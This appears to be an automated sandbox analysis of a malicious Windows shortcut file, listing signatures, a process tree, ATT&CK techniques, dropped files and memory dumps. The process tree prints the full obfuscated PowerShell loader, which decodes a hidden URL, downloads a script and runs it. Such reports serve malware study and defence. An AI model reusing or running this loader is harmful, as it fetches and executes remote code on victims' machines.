Analysis
- max time kernel
149s - max time network
135s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_312392808540.lnk
- Size 2KB
- Sample260729-ntwvaavwbx
- SHA256 4cede7bc84ab29a4786ae35478773990b42a553c062bba8ae094bd40a8ed50ad
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 8 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_312392808540.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$j201v9cz=24;$csmdcc=16;$ofizj5=[bigint]::Parse('802317766849938351541399204263485972568439379436840');$u4wlknbv=[bigint]::Parse('802317766849937758374308746164518777511170230600127');$ofizj5=$ofizj5-$u4wlknbv;$b7fkim8ail=@();while($ofizj5 -gt 0){$b7fkim8ail+=[char][int]([bigint]::Remainder($ofizj5,256));$ofizj5=[bigint]::Divide($ofizj5,256)};.([scriptblock]::Create((irm(-join$b7fkim8ail))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$j201v9cz=24;$csmdcc=16;$ofizj5=[bigint]::Parse('802317766849938351541399204263485972568439379436840');$u4wlknbv=[bigint]::Parse('802317766849937758374308746164518777511170230600127');$ofizj5=$ofizj5-$u4wlknbv;$b7fkim8ail=@();while($ofizj5 -gt 0){$b7fkim8ail+=[char][int]([bigint]::Remainder($ofizj5,256));$ofizj5=[bigint]::Divide($ofizj5,256)};.([scriptblock]::Create((irm(-join$b7fkim8ail))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\jpgd0_jhf_upd_ndqeb8bfc1c5c138544\psl.exe"C:\Users\Admin\AppData\Local\jpgd0_jhf_upd_ndqeb8bfc1c5c138544\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
Loading Replay Monitor...
Downloads
jknzgpd_w_ptbylyw.zip
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/2140-93-0x0000000000010000-0x000000000003D000-memory.dmp
memory/3008-111-0x00007FF708450000-0x00007FF708465000-memory.dmp
memory/5688-10-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-0-0x00007FFBBA9CF000-0x00007FFBBA9D0000-memory.dmp
memory/5688-18-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-19-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-23-0x0000025EA0520000-0x0000025EA0532000-memory.dmp
memory/5688-16-0x0000025EA0390000-0x0000025EA03A6000-memory.dmp
memory/5688-15-0x0000025EA04F0000-0x0000025EA04FA000-memory.dmp
memory/5688-14-0x0000025EA0DE0000-0x0000025EA1308000-memory.dmp
memory/5688-13-0x0000025EA06E0000-0x0000025EA08A2000-memory.dmp
memory/5688-12-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-11-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-17-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-9-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-8-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-7-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-89-0x0000025EA0390000-0x0000025EA03A6000-memory.dmp
memory/5688-6-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-91-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-5-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/5688-3-0x0000025EA0650000-0x0000025EA0672000-memory.dmp
memory/5688-4-0x00007FFBBA840000-0x00007FFBBB1E4000-memory.dmp
memory/6292-207-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-157-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-115-0x00000000057E0000-0x000000000580C000-memory.dmp
memory/6292-127-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-233-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-231-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-229-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-227-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-225-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-223-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-219-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-217-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-215-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-211-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-209-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-110-0x0000000000400000-0x0000000000470000-memory.dmp
memory/6292-205-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-199-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-197-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-195-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-193-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-189-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-187-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-185-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-181-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-179-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-175-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-173-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-171-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-167-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-165-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-161-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-159-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-114-0x00000000056A0000-0x00000000056BA000-memory.dmp
memory/6292-155-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-153-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-151-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-147-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-141-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-139-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-137-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-133-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-131-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-129-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-221-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-213-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-203-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-201-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-192-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-183-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-121-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-177-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-169-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-119-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-163-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-149-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-145-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-143-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-135-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-125-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-123-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-116-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-117-0x00000000057E0000-0x0000000005806000-memory.dmp
memory/6292-1370-0x0000000005A70000-0x0000000005AD6000-memory.dmp
memory/6292-1373-0x0000000006C30000-0x0000000006CC2000-memory.dmp
memory/6292-1374-0x0000000007290000-0x000000000784A000-memory.dmp